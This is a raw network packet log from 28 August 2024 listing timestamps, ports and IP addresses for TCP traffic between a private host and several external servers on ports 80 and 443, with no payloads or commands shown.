Aug 28, 2024 22:56:05.568413973 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.568423033 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.568434000 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.568444014 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.568450928 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.568456888 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.568469048 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.568490982 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.568502903 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.568531990 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.568545103 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.568584919 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.569165945 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.569215059 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.569323063 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.569334984 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.569345951 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.569356918 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.569371939 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.569401026 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.569447994 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.569461107 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.569469929 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.569480896 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.569492102 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.569498062 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.569504976 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.569509983 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.569540024 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.570061922 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.570074081 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.570085049 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.570106030 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.570123911 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.570209980 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.570220947 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.570231915 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.570242882 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.570249081 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.570255041 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.570266962 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.570270061 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.570280075 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.570306063 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.570339918 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.570368052 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.570382118 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.570998907 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.571010113 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.571050882 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.571139097 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.571155071 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.571166039 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.571182013 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.571212053 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.661242962 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.661263943 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.661282063 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.661293983 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.661309004 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.661318064 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.661329031 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.661330938 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.661341906 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.661353111 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.661358118 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.661365032 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.661386967 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.661408901 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.661412001 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.661425114 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.661441088 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.661451101 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.661459923 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.661467075 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.661489964 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.661606073 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.661617041 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.661628008 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.661649942 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.661664009 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.661667109 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.661678076 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.661688089 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.661711931 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.661737919 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.661880016 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.661911011 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.661922932 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.661925077 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.661946058 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.661957026 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.661958933 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.661981106 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.662017107 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.662137985 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.662174940 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.662183046 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.662187099 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.662204027 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.662218094 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.662220955 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.662233114 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.662235975 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.662245035 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.662254095 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.662271023 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.662301064 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.662329912 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.662342072 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.662352085 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.662364006 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.662373066 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.662377119 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.662400007 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.662427902 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.662834883 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.662883043 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.662913084 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.662925005 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.662935972 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.662947893 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.662959099 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.662961006 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.662983894 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.663003922 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.663014889 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.663027048 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.663037062 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.663053989 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.663057089 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.663065910 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.663077116 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.663083076 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.663108110 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.663113117 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.663120985 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.663131952 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.663145065 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.663173914 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.666321993 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.666340113 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.666357040 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.666379929 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.666399002 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.666412115 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.666424036 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.666449070 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.666465044 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.666476965 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.666479111 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.666490078 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.666501045 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.666507006 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.666513920 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.666529894 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.666538000 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.666563988 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.666584969 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.666595936 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.666608095 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.666619062 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.666627884 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.666630983 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.666639090 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.666644096 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.666657925 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.666666985 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.666692019 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.666719913 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.667218924 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.667229891 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.667242050 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.667251110 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.667263031 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.667290926 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.667351961 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.667363882 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.667373896 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.667395115 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.667407990 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.667469978 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.667484045 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.667495966 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.667507887 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.667514086 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.667526960 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.667553902 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.667726040 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.667764902 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.667874098 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.667885065 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.667895079 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.667912006 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.667916059 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.667924881 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.667934895 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.667938948 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.667947054 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.667957067 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.667970896 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.667979956 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.667989969 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.668000937 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.668014050 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.668024063 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.668049097 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.668489933 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.668500900 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.668510914 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.668534994 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.668541908 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.668553114 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.668565989 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.668569088 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.668581963 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.668585062 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.668612957 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.668639898 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.668828964 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.668839931 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.668849945 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.668859959 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.668870926 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.668872118 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.668884039 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.668895960 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.668903112 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.668914080 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.668947935 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.795638084 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.795795918 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.795937061 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.795937061 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.796631098 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.796674967 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.796674967 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.796689987 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.796715021 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.796719074 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.796730995 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.796739101 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.796742916 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.796755075 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.796761036 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.796786070 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.796833038 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.796868086 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.796884060 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.796892881 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.796904087 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.796912909 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.796914101 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.796926975 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.796935081 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.796945095 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.796957016 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.796971083 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.796998024 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.797059059 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.797075033 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.797085047 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.797096014 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.797105074 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.797106981 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.797116995 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.797127962 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.797132015 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.797139883 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.797149897 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.797159910 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.797159910 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.797189951 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.797204971 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.797280073 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.797291994 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.797302961 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.797313929 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.797318935 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.797326088 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.797336102 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.797347069 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.797349930 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.797358990 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.797369957 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.797370911 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.797386885 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.797389984 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.797403097 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.797413111 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.797416925 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.797425985 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.797437906 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.797446966 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.797454119 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.797460079 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.797473907 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.797477007 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.797487020 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.797527075 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.886147976 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.886368990 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.994225025 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:56:05.999162912 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:06.230433941 CEST	49735	443	192.168.2.7	172.67.146.35
Aug 28, 2024 22:56:06.230474949 CEST	443	49735	172.67.146.35	192.168.2.7
Aug 28, 2024 22:56:06.230550051 CEST	49735	443	192.168.2.7	172.67.146.35
Aug 28, 2024 22:56:06.232038975 CEST	49735	443	192.168.2.7	172.67.146.35
Aug 28, 2024 22:56:06.232050896 CEST	443	49735	172.67.146.35	192.168.2.7
Aug 28, 2024 22:56:06.708283901 CEST	443	49735	172.67.146.35	192.168.2.7
Aug 28, 2024 22:56:06.708425999 CEST	49735	443	192.168.2.7	172.67.146.35
Aug 28, 2024 22:56:06.711441040 CEST	49735	443	192.168.2.7	172.67.146.35
Aug 28, 2024 22:56:06.711455107 CEST	443	49735	172.67.146.35	192.168.2.7
Aug 28, 2024 22:56:06.711713076 CEST	443	49735	172.67.146.35	192.168.2.7
Aug 28, 2024 22:56:06.729500055 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:06.729607105 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:56:06.730632067 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:06.735394001 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.753921032 CEST	49735	443	192.168.2.7	172.67.146.35
Aug 28, 2024 22:56:06.755672932 CEST	49735	443	192.168.2.7	172.67.146.35
Aug 28, 2024 22:56:06.755698919 CEST	49735	443	192.168.2.7	172.67.146.35
Aug 28, 2024 22:56:06.755739927 CEST	443	49735	172.67.146.35	192.168.2.7
Aug 28, 2024 22:56:06.861306906 CEST	443	49735	172.67.146.35	192.168.2.7
Aug 28, 2024 22:56:06.861350060 CEST	443	49735	172.67.146.35	192.168.2.7
Aug 28, 2024 22:56:06.861370087 CEST	443	49735	172.67.146.35	192.168.2.7
Aug 28, 2024 22:56:06.861409903 CEST	49735	443	192.168.2.7	172.67.146.35
Aug 28, 2024 22:56:06.861435890 CEST	443	49735	172.67.146.35	192.168.2.7
Aug 28, 2024 22:56:06.861500025 CEST	49735	443	192.168.2.7	172.67.146.35
Aug 28, 2024 22:56:06.862212896 CEST	443	49735	172.67.146.35	192.168.2.7
Aug 28, 2024 22:56:06.862292051 CEST	443	49735	172.67.146.35	192.168.2.7
Aug 28, 2024 22:56:06.862346888 CEST	49735	443	192.168.2.7	172.67.146.35
Aug 28, 2024 22:56:06.862394094 CEST	49735	443	192.168.2.7	172.67.146.35
Aug 28, 2024 22:56:06.862407923 CEST	443	49735	172.67.146.35	192.168.2.7
